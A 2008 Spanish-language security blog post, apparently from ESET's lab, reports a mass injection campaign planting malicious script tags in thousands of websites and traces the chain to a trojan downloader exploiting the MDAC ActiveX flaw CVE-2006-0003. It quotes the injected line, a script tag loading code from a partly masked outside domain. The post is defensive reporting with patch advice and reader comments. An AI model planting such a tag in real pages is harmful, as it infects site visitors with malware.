Las inyecciones de códigos maliciosos en las webs se hacen cada vez más comunes
Mayo 28, 2008 12:21 amDurante esta madrugada, nuestro laboratorio detectó otro caso donde varios miles de sitios web fueron modificados por atacantes para inyectar códigos maliciosos en sus páginas.
En esta oportunidad, se inyecta una línea como la siguiente en el sitio web vulnerable:
<script src=http://www.ch****.com/reg.js></script>
Ese archivo contiene código JavaScript que crea una etiqueta iFrame en el sitio web, la cual apunta a otro script, en este caso VBScript, que ESET NOD32 Antivirus detecta como VBS/TrojanDownloader.Iframe.NAA, que luego descarga otros tantos códigos maliciosos aprovechando una vulnerabilidad existente en el componente ActiveX de MDAC de Windows.
Esta vulnerabilidad está documentada en el siguiente enlace:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0003
La misma puede ser parcheada con la actualización disponible aquí:
http://www.microsoft.com/technet/security/bulletin/ms06-014.mspx
La inyección de códigos maliciosos en sitios webs tradicionales, aprovechando vulnerabilidades en estos últimos, es una técnica cada vez más usada en estos días, como hemos reportado aquí en varias oportunidades.
Como siempre, recomendamos que mantengan sus antivirus actualizados y con las capacidades de detección heurística activadas a fin de mantenerse protegidos contra estas amenazas que aparecen a diario.
En cuanto a los administradores de sitios web, es importante que mantengan actualizado el software que utilizan tanto para su servidor como el sitio en si mismo, y que apliquen prácticas de programación segura para evitar las inyecciones de código.
Franco
Promedio: 5
8-7-2008 a las 3:11 pm
Hola Hugo:
Efectivamente ESET controla que si un script dañino pertenece a una URL o dominio bloqueada, no permitiendo al usuario descargar páginas o scripts del mismo.
Además también es importante destacar que estos scripts siempre terminan descargando algún programa ejecutable dañino por lo que también bloqueamos estos archivos dañinos.
Cristian
9-6-2008 a las 3:01 pm
Más que un comentario, es una pregunta ya que quisiera saber si por medio de reputación web se puede evitar que este tipo de inyecciones que hacen en paginas vulnerables infecten a los visitantes de dichos sitios.
ESET trabaja con este tipo de tecnologías? existe algún proyecto de incorporarlo a su cliente antivirus? es importante que no solo el antivirus detecte y ellimine ya sea por patrón o por heurística los virus si no que sea proactiva la seguridad que se tiene en nuestro computador.
Saludos a todos los visitantes del sitio.
HG
28-5-2008 a las 7:18 am
[...] FUENTE Gracias por leer este post.Ahora puede dejar su Comentario (0) o enlazarnos. [...]
28-5-2008 a las 7:18 am
[...] FUENTE Gracias por leer este post.Ahora puede dejar su Comentario (0) o enlazarnos. [...]